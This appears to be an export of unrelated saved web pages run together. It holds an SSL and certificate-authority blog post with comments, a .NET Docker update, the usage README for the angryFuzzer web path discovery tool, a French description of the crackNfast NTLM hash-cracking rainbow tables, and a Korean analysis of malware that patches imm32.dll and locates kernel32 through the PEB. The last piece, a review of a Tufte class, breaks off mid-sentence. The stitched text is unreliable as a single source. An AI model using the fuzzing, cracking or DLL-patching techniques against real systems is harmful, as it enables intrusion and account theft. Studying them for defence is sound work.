**Tags:**| _O RLY crypto LOLZ_  
  

### Founders of SSL call game over?

RSA's Coviello declares the new threat environment:

> _" Organisations are defending themselves with the information security
> equivalent of the Maginot Line as their adversaries easily outflank
> perimeter defences," Coviello added. "People are the new perimeter
> contending with zero-day malware delivered through spear-phishing attacks
> that are invisible to traditional perimeter-based security defences such as
> antivirus and intrusion detection systems." ® _
The recent spate of attacks do not tell us that the defences are weak - this
is something we've known for some time. E.g., from 20th April, 2003, "The
Maginot Web" said it. Yawn. Taher Elgamal, the guy who did the crypto in SSL
at Netscape back in 1994, puts it this way:

> _**How about those certificate authority breaches against Comodo and that
> wiped out DigiNotar?** _
> _It's a combination of PKI and trust models and all that kind of stuff. If
> there is a business in the world that I can go to and get a digital
> certificate that says my name is Tim Greene then that business is broken,
> because I'm not Tim Greene, but I've got a certificate that says this is my
> name. This is a broken process in the sense that we allowed a business that
> is broken to get into a trusted circle. The reality is there will always be
> crooks, somebody will always want to make money in the wrong way. It will
> continue to happen until the end of time._
> __
> _**Is there a better way than certificate authorities?**_
> __
> _The fact that browsers were designed with built-in root keys is
> unfortunate. That is the wrong thing, but it's very difficult to change
> that. We should have separated who is trusted from the vendor. ...  
>  _
What the recent rash of exploits signal is that the attackers are now lined up
and deployed against our weak defences:

> _Coviello said one of the ironies of the attack was that it validated trends
> in the market that had prompted RSA to buy network forensics and threat
> analysis firm NetWitness just before the attack._
This is another unfortunate hypothesis in the market for silver bullets: we
need real attacks to tell us real security news. OK, now we've got it. Message
heard, loud and clear. So, what to do? Coviello goes on:

> _Security programs need to evolve to be risk-based and agile rather than
> "conventional" reactive security, he argued. _
> _" The existing perimeter is not enough, which is why we bought NetWitness.
> The NetWitness technology allowed us to determine damage and carry out
> remediation very quickly," Coviello said._
  
The existing perimeter was an old idea - one static defence, and the attacker
would walk up, hit it with his head, and go elsewhere in confusion. Build it
strong, went the logic, and give the attacker a big headache\! ... but the
people in charge at the time were steeped in the school of cryptology and
computer science, and consequently lacked the essential visibility over the
human aspects of security to understand how limiting this concept was, and how
the attacker was blessed with sight and an ability to walk around.

Risk management throws out the old binary approach completely. To some extent,
it is just in time, as a methodology. But to a large extent, the market place
hasn't moved. Like deer in headlights, the big institutions watch the trucks
approach, looking at each other for a solution.

Which is what makes these comments by RSA and Taher Elgamal significant. More
than others, these people built the old SSL infrastructure. When the people
who built it call game over, it's time to pay attention.

Posted by iang at October 13, 2011 10:31 AM | TrackBack   

Comments

We were working on high-availability and no-single-point-of-failure and also
doing cluster scaleup \(for both commercial and numerical intensive\) ...
originally it was called HA/6000, but I coined "HA/CMP" as marketing term to
capture both concepts. Part of the effort was with major RDBMS vendors ...
including Oracle. This is old reference to Jan92 meeting in Ellison's
conference room  
http://www.garlic.com/~lynn/95.html\#13

Two of the people in the meeting later leave and join a small client/server
startup responsible for something called the "commerce server". Approx. a
month after the Jan92 meeting, the cluster scaleup part is transferred \(and
announced as a supercomputer for numerical intensive only\) and we were told
we couldn't work on anything with more than four processors. This motivates us
to leave.

Sometime later, we are brought in as consultants to the small client/server
startup because they want to do payment transactions on their server; the
startup up had also invented this technology they called "SSL" they wanted to
use; the result is now frequently called "electronic commerce". As part of the
deployment we do audits and walk throughs of these new businesses selling SSL
domain name certificates. misc. past posts  
http://www.garlic.com/~lynn/subpubkey.html\#sslcert

The browser Certificate Authority operational model wasn't a "no single-point-
of-failure" ... it was an "any point of failure" ... the probability of a
failure increases as the number of CAs increase \(a systemic risk scenario\).
Also there were some security assumptions about the browser/server deployments
... which were almost immediately violated ... voiding some amount of the
security model. It wasn't long before I coined the term "comfort certificates"
in attempt to differentiate the feeling of security from real security.

Posted by: Lynn Wheeler at October 13, 2011 08:46 AM

The SSL domain name Certification Authority model has somebody applying for a
digital certificate and providing identification information. The CA then must
contact the authoritative agency responsible for domain names to cross-check
the application supplied identification information with whats on file with
the domain name authoritative agency \(time-consuming, error-prone, and
expensive\).

The CA industry has somewhat backed pieces of DNSSEC as eliminating some
number of authoritative agency vulnerabilities \(i.e. the CA industry trust
root is the authoritative agency responsible for the domain name information\)
... like domain name take-over. Part of that is a domain name registrant, at
the same time also registers a public key. Then all future communication
between the domain name owner and the domain name infrastructure is digitally
signed, which can be verified with the on-file public key. It turns out that
the CA industry could also require SSL digital certificate application to also
be digitally signed ... and then they could eliminate the time-consuming,
error-prone and expensive identification process with a much simpler, more
reliable, and less expensive authentication process by doing real-time
retrieval of the on-file public key at the domain name infrastructure.

However, this creates something of a "catch-22" for the SSL domain name CA
industry, since if they can do real-time retrieval of on-file public key \(for
authentication\), then others might also start doing something similar ...
eliminating the need for SSL domain name digital certificates. misc. past
posts mentioning catch-22 for the SSL domain name CA industry  
http://www.garlic.com/~lynn/subpubkey.html\#catch22

I had worked on HSP in the late 80s ... that included being able to do a
reliable transactions in minimum of three exchanges ... compared to minimum of
seven exchanges for TCP. In the mid-90s, as HTTP servers were starting to
scale-up they were starting to find that 99% of the processor was starting to
be used dedicated to running the TCP FINWAIT list \(most TCP implementations
had been designed assuming long-lasting reliable connections, and had never
anticipated it to be used for something like HTTP\). I proposed being able to
piggy-back returning public key in the domain name to ip-address response.
Then a light-weight SSL connection could be done in an HSP 3-packet exchange
... but client generating symmetric packet key, encrypting the packet,
encrypting the packet key with the server public key. In effect, light-weight
SSL could be done in the same number of packets as a non-encrypted, non-SSL
operation. misc. past posts mentioning HSP  
http://www.garlic.com/~lynn/subnetwork.html\#xtphsp  

Posted by: Lynn Wheeler at October 13, 2011 09:36 AM

Disclaimer: Somewhat in the wake of having done "electronic commerce", in the
mid-90s, we were invited to participate in the X9A10 financial standard
working group which have been given the requirement to preserve the integrity
of the financial infrastructure for \*ALL\* retail payments.

The result was the x9.59 financial transaction standard which allowed for
digitally signed transactions but didn't require digital certificates to be
appended to the transactions. Some references  
http://www.garlic.com/~lynn/x959.html\#x959

Part of the issue was that even an abbreviated \(relying-party-only\) digital
certificate \(i.e. the information was registered with the relying-party, the
relying-party would issue a digital certificate for use only by the relying-
party\) was 100 times larger than the typical payment transaction payload
size. misc. past posts mentioning the enormous payload size bloat that would
come from appending digital certificates to payment transactions  
http://www.garlic.com/~lynn/subpubkey.html\#bloat

the issue was that since the relying-party already had the information
\(contained in the digital certificate\), it was redundant and superfluous to
append the same information \(in the form of digital certificate\) to every
payment transaction \(besides representing enormous payload bloat\).

The largest use of SSL in the world is this thing called "electronic commerce"
for hiding transaction details. One of the characteristics of X9.59
transactions was that it was no longer necessary to hide the transactions ...
which eliminated the major use of SSL in the world. Not needing to hide the
information also eliminates threats from skimming, evesdropping, and data
breaches. It doesn't eliminate such activity, but the major motivation is
crooks using the harvested information for fraudulent transactions. X9.59
eliminated the ability of crooks to use such harvested information for
fraudulent transactions ... and therefor eliminated the attractiveness to
crooks for performing such operations.

# Using .NET and Docker Together – DockerCon 2019 Update | .NET Blog
**Created:**| _5/10/2019 8:12:00 AM_  
---|---  
**Updated:**| _5/10/2019 8:12:00 AM_  
**Author:**| __  
**Tags:**| _.Net docker_  
  

  

# Using .NET and Docker Together – DockerCon 2019 Update

<img src='img/37f91ebe219df737566a4dc7cdd53b68' width='58' height='58' />

Richard

April 29th, 2019

DockerCon 2019 is being held this week, in San Francisco. We posted a
DockerCon 2018 update last year, and it is time to share how we’ve improved
the experience of using .NET and Docker together over the last year.

We have a group of .NET Core team members attending the conference again this
year. Please reach out @ dotnet@microsoft.com if you want to meetup.

Most of our effort to improve the .NET Core Docker experience in the last year
has been focused on .NET Core 3.0. This is the first release in which we’ve
made substantive runtime changes to make CoreCLR much more efficient, honor
Docker resource limits better by default, and offer more configuration for you
to tweak.

We are invested in making .NET Core a true container runtime. In past
releases, we thought of .NET Core as container friendly. We are now hardening
the runtime to make it container-aware and function efficiently in low-memory
environments.

## Allocate less memory and fewer GC heaps by default

The most foundational change we made is to reduce the memory that CoreCLR uses
by default. If you think of the Docker limit as the denominator, then baseline
memory usage is the numerator that you start with. It is critical to reduce
that value to enable smaller memory limits. That’s exactly what we’ve done
with .NET Core 3.0.

We reduced the minimal generation 0 GC allocation budget to better align with
modern processor cache sizes and cache hierarchy. We found that the initial
allocation size was unnecessarily large and could be significantly reduced
without any perceivable loss of performance. In workloads we measured, we
found tens of percentage points of improvements.

There’s a new policy for determining how many GC heaps to create. This is most
important on machines were a low memory limit is set, but no CPU limit is set
on a machine with many CPU cores. The GC now reserves a memory segment with a
minimum size of 16 MB per heap. This limits the number of heaps the GC will
create. For example, if you set a 160 MB memory limit on a 48-core machine,
you don’t want 48 GC heaps created. That means that if you set a 160 MB limit,
then only 10 GC heaps will be created. If CPU limits are not set, applications
can still take advantage of all the cores on the machine.

We know that some developers use the workstation GC as a means of limiting GC
allocations, with a possible reduction in throughput. With this new policy in
place, we hope that you do not need to enable workstation GC with docker
workloads.

Both changes — reducing generating 0 initial allocation size and defining a
new GC heap minimum — results in lower memory usage by default and makes the
default .NET Core configuration better in more cases.

## Support for Docker Memory Limits

There are really two scenarios for memory limits:

  * setting an arbitrary memory limit \(like say 750 MB\)
  * setting a low memory limit \(like say 75 MB\)

In either case, you want your application to run reliably over time.
Obviously, if you limit an application to run in less than 75 MB of memory, it
needs to be capable of doing that. A container-hardened runtime is not a magic
runtime\! You need to model memory requirements in terms of both steady-state
and per-request memory usage. An application that requires a 70 MB cache has
to accommodate that.

Docker resource limits are built on top of cgroups, which is a Linux kernel
capability. From a runtime perspective, we need to target cgroup primitives.

The following summary describes the new .NET Core 3.0 behavior when cgroup
limits are set:

  * Default GC heap size: maximum of `20 MB` or `75%` of the cgroup memory limit on the container
  * Minimum reserved segment size per GC heap is `16 MB`, which will reduce the number of heaps created on machines with a large number of cores and small memory limits

Though CGroups are a Linux concept, Job objects on Windows are a similar
concept, and the runtime honors memory limits on Windows in the same way.

Over the last few releases, we have put a lot of effort into improving how
.NET Core performs on the TechEmpower Benchmarks. With .NET Core 3.0, we found
ways to significantly improve the performance and reduce the memory used by a
large margin. We now run the TechEmpower plaintext benchmark in a container
limited to about 150 MB, while servicing millions of requests per second. This
enables us to validate memory limited scenarios every day. If the container
OOMs, then that means we need to determine why the scenario is using more
memory than we expect.

Note: Process APIs report inconsistent results in containers. We do not
recommend relying on these APIs for containerized apps. We are working on
resolving these issues. Please let us know if you rely on these APIs.

## Support for Docker CPU Limits

CPU can also be limited; however, it is more nuanced on how it affects your
application.

Docker limits enable setting CPU limits as a decimal value. The runtime
doesn’t have this concept, dealing only in whole integers for CPU cores.
Previously, the runtime used simple rounding to calculate the correct value.
That approach leads the runtime to take advantage of less CPU than requested,
leading to CPU underutilization.

In the case where `--cpus` is set to a value \(for example, `1.499999999`\)
that is close but not close enough to being rounded up to the next integer
value, the runtime would previously round that value down \(in this case, to
`1`\). In practice, rounding up is better.

By changing the runtime policy to aggressively round up CPU values, the
runtime augments the pressure on the OS thread scheduler, but even in the
worst case scenario \(`--cpus=1.000000001` — previously rounded down to `1`,
now rounded to `2`\), we have not observed any overutilization of the CPU
leading to performance degradation.

Unlike with the memory example, it is OK if the runtime thinks it has access
to more CPU than it does. It just results on a higher reliance on the OS
scheduler to correctly schedule work.

The next step is ensuring that the thread pool honors CPU limits. Part of the
algorithm of the thread pool is computing CPU busy time, which is, in part, a
function of available CPUs. By taking CPU limits into account when computing
CPU busy time, we avoid various heuristics of the thread pool competing with
each other: one trying to allocate more threads to increase the CPU busy time,
and the other one trying to allocate less threads because adding more threads
doesn’t improve the throughput.

Server GC is enabled by default for ASP.NET Core apps \(it isn’t for console
apps\), because it enables high throughput and reduces contention across
cores. When a process is limited to a single processor, the runtime
automatically switches to workstation GC. Even if you explicitly specify the
use of server GC, the workstation GC will always be used in single core
environments.

## Adding PowerShell to .NET Core SDK container Images

PowerShell Core has been added to the .NET Core SDK Docker container images,
per requests from the community. PowerShell Core is a cross-platform
\(Windows, Linux, and macOS\) automation and configuration tool/framework that
works well with your existing tools and is optimized for dealing with
structured data \(e.g. JSON, CSV, XML, etc.\), REST APIs, and object models.
It includes a command-line shell, an associated scripting language and a
framework for processing cmdlets.

PowerShell Core is released as a self-contained application by default. We
converted it to a framework-dependent application for this case. That means
that the size cost is relatively low, and there is only one copy of the .NET
Core runtime in the image to service.

You can try out PowerShell Core, as part of the .NET Core SDK container image,
by running the following Docker command:

1| docker run \--rm mcr.microsoft.com/dotnet/core/sdk:3.0 pwsh -c Write-Host
"Hello Powershell"  
---|---  
There are two main scenarios that having PowerShell inside the .NET Core SDK
container image enables, which were not otherwise possible:

  * Write .NET Core application Dockerfiles with PowerShell syntax, for any OS.
  * Write .NET Core application/library build logic that can be easily containerized.

Example syntax for launching PowerShell for a volume-mounted containerized
build:

  * `docker run -it -v c:\myrepo:/myrepo -w /myrepo mcr.microsoft.com/dotnet/core/sdk:3.0 pwsh build.ps1`
  * `docker run -it -v c:\myrepo:/myrepo -w /myrepo mcr.microsoft.com/dotnet/core/sdk:3.0 ./build.ps1`

Note: For the second example to work, on Linux, the .ps1 file needs to have
the following pattern, and needs to be formatted with Unix \(LF\) not Windows
\(CRLF\) line endings:

12| \#\!/usr/bin/env pwshWrite-Host "test"  
---|---  
If you are new to PowerShell, we recommend reviewing the PowerShell getting
started documentation.

Note: PowerShell Core is now available as part of .NET Core 3.0 SDK container
images. It is not part of the .NET Core 3.0 SDK.

## .NET Core Images now available via Microsoft Container Registry

Microsoft teams are now publishing container images to the Microsoft Container
Registry \(MCR\). There are two primary reasons for this change:

  * Syndicate Microsoft-provided container images to multiple registries, like Docker Hub and Red Hat.
  * Use Microsoft Azure as a global CDN for delivering Microsoft-provided container images.

On the .NET team, we are now publishing all .NET Core images to MCR. As you
can see from these links \(if you click on them\), we continue to have “home
pages” on Docker Hub. We intend for that to continue indefinitely. MCR does
not offer such pages, but relies on public registries, like Docker Hub, to
provide users with image-related information.

The links to our old repos, such as microsoft/dotnet, now forward to the new
locations. The images that existed at those locations still exists and will
not be deleted.

We will continue servicing the floating tags in the old repos for the
supported life of the various .NET Core versions. For example, `2.1-sdk`,
`2.2-runtime`, and latest are examples of floating tags that will be serviced.
A three-part version tag, like `2.1.2-sdk`, will not be serviced, which was
already the case.

.NET Core 3.0 will only be published to MCR.

For example, the correct tag string to pull the 3.0 SDK image now looks like
the following:

1| mcr.microsoft.com/dotnet/core/sdk:3.0  
---|---  
The correct tag string to pull the 2.1 runtime image now looks like the
following:

1| mcr.microsoft.com/dotnet/core/runtime:2.1  
---|---  
The new MCR strings are used with both `docker pull` and in Dockerfile `FROM`
statements.

## Platform matrix and support

With .NET Core, we try to support a broad set of distros and versions. For
example, with Ubuntu, we support versions 16.04 and later. With containers,
it’s too expensive and confusing for us to support the full matrix of options.
In practice, we produce images for each distro’s tip version or tip LTS
version.

We have found that each distribution has a unique approach to releasing,
schedule and end-of life \(EOL\). That prevents us from defining a one-size-
fits-all policy that we could document. Instead, we found it was easier to
document our policy for each distro.

  * Alpine — support tip and retain support for one quarter \(3 months\) after a new version is released. Right now, 3.9 is tip and we’ll stop producing 3.8 images in a month or two.
  * Debian — support one Debian version per .NET Core version, whichever Debian version is the latest when a given .NET Core version ships. This is also the default Linux image used for a given multi-arch tag. For .NET Core 3.0, we intend to publish Debian 10 based images. We produce Debian 9 based images for .NET Core 2.1 and 2.2, and Debian 8 images for earlier .NET Core versions.
  * Ubuntu — support one Ubuntu version per .NET Core version, whichever Ubuntu version is the latest LTS version when a given .NET Core version ships. Today, we support Ubuntu 18.04 for all supported .NET Core versions. When 20.04 is released, we will start publishing images based on it, for the latest .NET Core version at that time. In addition, as we get closer to a new Ubuntu LTS versions, we will start supporting non-LTS Ubuntu versions a means of validating the new LTS versions.

For Windows, we support all supported Nano Server versions with each .NET Core
version. In short, we support the cross-product of Nano Server and .NET Core
versions.

## ARM Architecture

We are in the process of adding support for ARM64 on Linux with .NET Core 3.0,
complementing the ARM32 and X64 support already in place. This will enable
.NET Core to be used in even more environments.

We were excited to see that ARM32 images were added for Alpine. We have been
wanting to see that for a couple years. We are hoping to start publishing .NET
Core for Alpine on ARM32 after .NET Core 3.0 is released, possibly as part of
a .NET Core 3.1 release. Please tell us if this scenario is important to you.

## Closing

Containers are a major focus for .NET Core, as we hope is evident from all the
changes we’ve made. As always, we are reliant on your feedback to direct
future efforts.

We’ve done our best to target obvious and fundamental behavior in the runtime.
We’ll need to look at specific scenarios in order to further optimize the
runtime. Please tell us about yours. We’re happy to spend some time with you
to learn more about how you are using .NET Core and Docker together.

Enjoy the conference \(if you are attending\)\!

<img src='img/11388_37f91ebe219df737566a4dc7cdd53b68' width='96' height='96'
/>

##### Richard Lander

Program Manager, .NET Team

**Follow Richard**  __ __ __

# angryFuzzer - Tool for Information Gathering

**Created:**| _6/29/2017 3:44:48 PM_  
---|---  
**Updated:**| _6/29/2017 3:44:48 PM_  
**Author:**| __  
**Tags:**| __  
  

  

# Tool for Information Gathering

<img src='img/13160_angryFuzzer_.png' width='576' height='429' />

AngryFuzz3r is a collection of tools for pentesting to gather information and
discover vulnerabilities of the targets based on Fuzzedb
https://github.com/fuzzdb-project/fuzzdb project  
  
**UrlFuzz3r- >AngryFuzz3r\_1**  
Discover hidden files and directories on a web server. The application tries
to find URL relative paths of the given website by comparing them with a given
set.  

<img src='img/13159_faraday-728x90+%282%29.png' width='576' height='71' />

  
**Features**

  * Fuzz URL set from an input file
  * Concurrent relative path search
  * Configurable number of fuzzing workers
  * Fuzz CMS ==> Wordpress,Drupal,Joomla
  * Generate reports of the valid paths

**Usage**

[code]

    $ python angryFuzzer.py -h
    Usage: angryFuzzer.py [options]
    
    Options:
      -h, --help            show this help message and exit
      -q, --quiet           Silent mode ,only repport
      -u URL, --url=URL      URL of the Target
      -c CMS, --cms=CMS     scan CMS ==> wp ,dp
      -w WORDLIST, --wordlist=WORDLIST
                            Custom wordlist
    
[/code]

Example:

  * Fuzzing an URL with default dictionary

[code]

    python angryFuzzer.py -u http://127.0.0.1 
[/code]

  * Fuzzing CMS \(wp: in this example \!\)

[code]

    python angryFuzzer.py -u http://127.0.0.1 --cms wp 
[/code]

  * Fuzzing a Custom Wordlist

[code]

    python angryFuzzer.py -u http://127.0.0.1 -w fuzzdb/discovery/predictable-filepaths/php/PHP.txt
[/code]

  
  
**How to install**

[code]

    $ git clone https://github.com/ihebski/angryFuzzer.git
    $ cd angryFuzzer
    $ python angryFuzzer.py
[/code]

**Download angryFuzzer**

  

# crackNfast - Groupe LEXSI - Innovative Security : Audit - Conseil - Veille -
Formation

**Created:**| _6/9/2011 11:21:10 AM_  
---|---  
**Updated:**| _6/9/2011 11:21:10 AM_  
**Author:**| __  
**Tags:**| _attacks crypto GPU_  
  

# crackNfast  
Rainbows Tables probabilistes

De nos jours il est possible de trouver sur le net des Rainbow Tables, fruits
de longs travaux collaboratifs, qui pèsent plusieurs centaines de Go et
décrivent des espaces pouvant aller jusqu'à toutes les combinaisons possibles
de caractères ASCII de longueur 1 à 8. Ces tables "classiques" ont pour
principal inconvénient que les espaces de mots de passe parcourus grandissent
de façon exponentielle avec la longueur des mots de passe recherchés et
qu'atteindre les 9 caractères est, à l'heure d'aujourd'hui, hautement
improbable.Ainsi les tables basées sur des dictionnaires et celles dites
"hybrides" sont apparues dès 2007 et 2008. Ces deux approches visent à réduire
la taille de l'espace de mots de passe candidats tout en conservant un taux de
succès élevé. Jusqu'à présent ces variations étaient les seules
implémentations publiques tentant d'améliorer la pertinence des espaces
couverts par des Rainbow Tables.  
  
LEXSI, pour ses propres besoins lors des tests d’intrusions, a développé le
logiciel crackNfast. crackNfast est une solution basée sur un axe statistique
déjà connu hors du contexte des Rainbow Tables qui offre des résultats bien
supérieurs aux Rainbow Tables classiques tout en nécessitant moins d'espace et
de temps.  
  
Tout comme pour des rainbows ‘classiques’, les rainbows probabilistes
développées par LEXSI sont applicables à tous les algorithmes non salés ou
avec un sel prédictible. Dans sa version actuelle, crackNfast est compatible
avec les algorithmes NTLM et MSCACHEv1.  
  
Des tests ont été réalisés sur la base des mots de passe RockYou, disponible
sur internet, qui ont été chiffrés au format NTLM.  
Le matériel de référence est un PC à base Intel 2500 + 2 cartes Nvidia GTX580.

Taille de l’espace  
| Temps de génération \(1\)  
| Taille de la table \(2\)  
| Longueur des chaînes  
| Taux de succès RockYou  
| Temps de déchiffrement pour 1 pwd \(3\)  
| Temps de déchiffrement pour 1000 pwd \(3\)  
  
---|---|---|---|---|---|---  
2^39  
| 15h  
| 4x10Go  
| 2100  
| 75%  
| 13 s  
| 22 mn  
  
2^41  
| 4 jours  
| 4x13Go  
| 8100  
| 81%  
| 25s  
| 4h40  
  
2^47  
| 230 jours  
| 4x300Go  
| 18100  
| 90%  
| 7mn  
| 22h40  
  
\(1\) Génération sur GPU  
\(2\) Tables rainbows au format RT non optimisé.  
\(3\) Déchiffrement sur CPU

  
crackNfast se compose de deux programmes crackNfast\_gen et
crackNfast\_search. crackNfast\_gen permet de générer les Rainbow Tables
probabilistes tandis que crackNfast\_search permet d’utiliser les tables
générées par crackNfast\_gen pour déchiffrer les hashs.  
  
A l’heure actuelle crackNfast\_gen est optimisé pour GPU supportant CUDA
tandis que crackNfast\_search n’utilise que le CPU. Une version GPU de
crackNfast\_search est en cours de tests.  
  
LEXSI publie crackNfast sous License Creative Commons BY-NC-SA.

# Security Insight :: \[Malware Analyze\] imm32.dll 패치형 악성코드 변형

**Created:**| _10/20/2011 11:35:11 AM_  
---|---  
**Updated:**| _10/20/2011 11:35:11 AM_  
**Author:**| __  
**Tags:**| _Malware-analysis_  
  

## \[Malware Analyze\] imm32.dll 패치형 악성코드 변형

최근 유포되고 있는 imm32.dll 패치 형태의 악성코드의 경우 패치된 imm32.dll은 크기가 변하지 않으며 \[그림 1\]과 같이
파일 정보상으로도 구별이 어렵다. 패치된 부분을 찾기 위해 분석한 사항을 정리하고자 한다.

<img src='img/Temp2_7339.png' />

\[그림 1\]

패치된 imm32.dll의 목적은 \[그림 2\]와 같이 LoadLibrary를 이용하여 감염 과정에서 생성한
%system%dnetcom32.dll 로드하는 것이다.

<img src='img/Temp2_7341.png' />

\[그림 2\]

imm32.dll의 패치된 형태는 다음과 같다. 원본 imm32.dll 파일을 보면 imm32.dll 로드 후 DllMain을 실행하는
과정에서 ImmInitializeGlobals 함수를 호출한다.

<img src='img/Temp2_7338.png' />

\[그림 3\] original imm32.dll

패치된 imm32.dll 파일은 \[그림 4\]의 0x762E2388 주소의 ImmInitializeGlobals를 호출하는 부분을 패치하여
악의적인 목적의 함수를 호출한다.

<img src='img/Temp2_7333.png' />

\[그림 4\] infected imm32.dll

호출되어진 함수는 \[그림 5\]의 0x762F5AE4 주소의 서브루틴에서 kernel32.dll DLL의 based address를
얻어온다. 이 후 0x762F5AF4 주소의 서브루틴에서 LoadLibraryA 함수의 주소를 얻어온 뒤 dnetcom32.dll 파일을
로드한다.

<img src='img/Temp2_7334.png' />

\[그림 5\]

kernel32.dll의 base address를 얻어오는 과정은 \[그림 6\]과 같다. 먼저 FS 레지스터를 이용하여 현재 프로세스의
PEB\(Process Environment Block\)의 주소를 얻어온다.

<img src='img/Temp2_7335.png' />

\[그림 6\]

이 후 0x885B1D에서 0xC 만큼 포인터를 이동하는 것을 볼 수 있다. PEB 구조체를 확인해 보면 \[그림 7\]과 같이 0xC
주소에는 \_PEB\_LDR\_DATA가 존재하는 것을 확인할 수 있다. \_PEB\_LDR\_DATA 구조체에는 현재 프로세스에 로드되어
있는 모듈에 대한 정보가 저장되어 있다.

<img src='img/Temp2_7336.png' />

\[그림 7\]

이어서 0x885B21 주소에서 \_PEB\_LDR\_DATA 구조체에서 0x1C에 떨어진 값을 읽어오는 것을 확인할 수 있다. \[그림
8\]의 \_PEB\_LDR\_DATA 구조체를 확인해보면 +0x1C 위치에는 InInitializationOrderModuleList값이
저장되어 있는 것을 확인할 수 있다.

<img src='img/Temp2_7340.png' />

\[그림 8\]

InInitializationOrderModuleList에는 초기화된 모듈의 순서가 저장되어 있으며 \[그림 9\]와 같이 이중 링크드
리스트 형태로 구성되어 있다. 항상 첫번째에는 ntdll.dll의 주소가 두번째에는 kernel32.dll의 주소가 저장되어 있다. 따라서
\[그림 6\]의 0x885B26 주소처럼 +0x8만큼 이동하면 kernel32.dll의 주소를 얻을 수 있다.

<img src='img/Temp2_7342.png' />

\[그림 9\]

참고로 원본 imm32.dll 파일은 \[그림 6\]과 같이 %temp% 경로에 \[랜덤5자리\].tmp 형태로 저장된다.

<img src='img/Temp2_7337.png' />

\[그림 10\]

온라인게임 계정 탈취를 목적으로 하는 악성코드도 나날이 감염 방법을 변경하고 있으며 진단 회피 및 치료를 어렵게하기 위해 진화\(?\)하고
있다.  

  

+---------------------------------+  
| Infinite Flow.. |  
| mail : reverseinsight@gmail.com |  
| Blog : http://sinun.tistory.com |  
| twitter : @unpacker |  
| CISSP, SIS1급 |  
+----------------------------------+

####

# TaoSecurity: The Best Single Day Class Ever

**Created:**| _1/12/2015 10:26:32 AM_  
---|---  
**Updated:**| _1/12/2015 10:26:32 AM_  
**Author:**| __  
**Tags:**| _Graphs socialising statistics_  
  

# The Best Single Day Class Ever

<img src='img/Temp2_7917.gif' />

I had the great fortune to attend Edward Tufte's one day class Presenting Data
and Information. I only knew Tufte from advertisements in the Economist. For
example, the image at left was frequently used as an ad in the print magazine.
I had not read any of his books although I knew of his criticism of
PowerPoint, specifically with respect to the Challenger disaster.  
  
This was the best one day class I have ever taken. It profoundly altered the
way I think about presenting information and making arguments. **If any part
of your professional life involves delivering presentations, you must attend
this class.** It's a complete bargain for the price. I would like to see every
professional at my company take this course. Following Tufte's advice would
provide the single biggest productivity improvement and corresponding "return
on investment" we are likely to see in my tenure.  
  
There is no way for me to summarize Tufte's course. You should attend
yourself, and read the four \(\!\) textbooks he provides. I will try to
capture points which made an impact upon me.  
  
**Substance, not Structure** : When delivering a presentation, _do whatever it
takes_ to make your point. Be _substance-driven, not method-driven_. This
means you determine what information you need to convey, **not what you should
put into PowerPoint**. This really impressed me. PowerPoint is the currency
for just about every presentation, conference, or other public event I attend.
Imagine if we approached every event by deciding what effect we want to have
upon the audience, instead of what slides we should create? Tufte stressed the
power of **sentences** , saying _sentences have "agency" but PowerPoint
bullets do not_. Sentences are tougher to write because they have nouns,
verbs, and objects; bullets may have all, some, or none of those. PowerPoint
also cripples arguments by stacking information in time and relying on the
audience's short term memory. Instead, information should be arrayed in space,
with as much spread out at once. The latter approach capitalizes on the human
eye's "bandwidth of 80 Mbps per eye."  
  
**Credibility** : Tufte emphasized that _detail builds credibility_ , and
audiences are constantly assessing the credibility of the speaker. Everything
that can be documented and referenced and sourced should be; this resonated
with my history degree. Every item of information should be _communicative_
and should provide _reasons to believe_ the speaker. Credibility arises from
delivering an argument backed by evidence, and that material can be believed
until an alternative explanation for the evidence, with as much rigor as the
first explanation, appears. Speakers expand their credibility by explicitly
addressing alternative explanations, rather than avoiding them.  
  

<img src='img/Temp2_7918.gif' />

**Making an Impact** : Too many of us exist in "flatland," i.e., the world of
the computer screen, paper, and related media. To grab your audience's
attention, _bring something real_ from the 3D world to your presentation. This
resonated with me too. At a recent week-long class for work with 42 other
managers, I was told that some of the people in the class remembered me long
after my initial introduction because I had a prop. The BusinessWeek magazine
on "e-spionage" was on a table near me, so I told the class "I do this."  
  
Image ref: Writing is About Putting Yourself to Words.  
  
**Presentation Design** : Tufte advocates using what a colleague of mine calls
a "placemat" format for delivering information. Tufte calls it a "tech
report." Rather than standing in front of a PowerPoint slide deck, create a
two-sided, 11" X 17" handout for the audience. Copy a format you've seen
elsewhere. Pay attention to the pros; Tufte recommends Nature magazine for
elite scientific and technical reporting or the New York Times for non-
technical reporting. Include what Tufte calls a "supergraphic," an image that
captures the audience's attention, like a highly detailed aerial photograph.
\(Whatever it is, ensure it is relevant to the audience\!\) He likes Gil Sans
font. Include data on performance. There is no such thing as "information
overload," only bad design. _To clarify add detail -- don't remove it._  
  
**Fundamental Principles of Analytical Design** :

  1. Show comparisons.
  2. Show causality.
  3. Show multivariate data.
  4. Integrate evidence; don't segregate by mode of production. \(For example, Sports Illustrated's Web site has a "Video" section. Why aren't those videos simply next to the appropriate news stories?\)
  5. Document evidence.
  6. Content above all else.

<img src='img/Temp2_7919.gif' />

**PowerPoint** : PowerPoint only helps the bottom ten percent of speakers who
would have no idea what to say without it. PowerPoint doesn't hinder the top
ten percent of speakers who probably ignore their slides. PowerPoint
devastates the middle 80 percent of speakers who think they are delivering
information, when really they are \(unconsciously\) treating the audience as
if they are too stupid to digest information in any other format. People can
read 2-3 times faster than they can speak, so why should a presenter waste so
much time with bullet points? Presentations should be a "high resolution data
dump" \(like a paper\) and not a "press conference." Provide information in
**problem - > relevance -> solution** format with a paragraph for each, with
images, tables, "sparklines," and such integrated. You may use PowerPoint as a
"projector operating system" \("POS," get it, get it?\) to display tables,
movies, or other media as necessary, but not as a bullet delivery tool.  
  
Image ref: Presentation Zen: Contrasts in presentation style: Yoda vs. Darth
Vader. Note the bullets are sentences, so they are actually more content-
oriented than the usual PowerPoint bullets\!  
  
**Active Person** : The _active person should be the audience, not the
"speaker". Let the audience learn using its own cognitive style, not the
method chosen by the presenter._ Presenters should let speakers read the
"placemat" or "tech report," then offer to answer questions. Asking questions
is a sign that audience actually cares about the material. Leading the
audience along a path chosen by the speaker, at the speaker's speed, using the
speaker's cognitive style, and **refusing to take questions because it
"disrupts flow"** is a disaster.  
  
That's it for me. If you look a little you'll find other people's coverage of
these training classes, like Colliers Atlas Blog or 21Apples.  
  
What does this mean for me? I recently taught a one-day class on Network
Security Operations. I decided to print the entire slide deck I've used for
the last few years, suitable for a two or three day class. I decided to use
that material solely as a reference, like Tufte uses his text books in his own
classes. I asked the students what problems they were trying to solve in their
own enterprises. Then I selected themes and spoke to them, using some of my
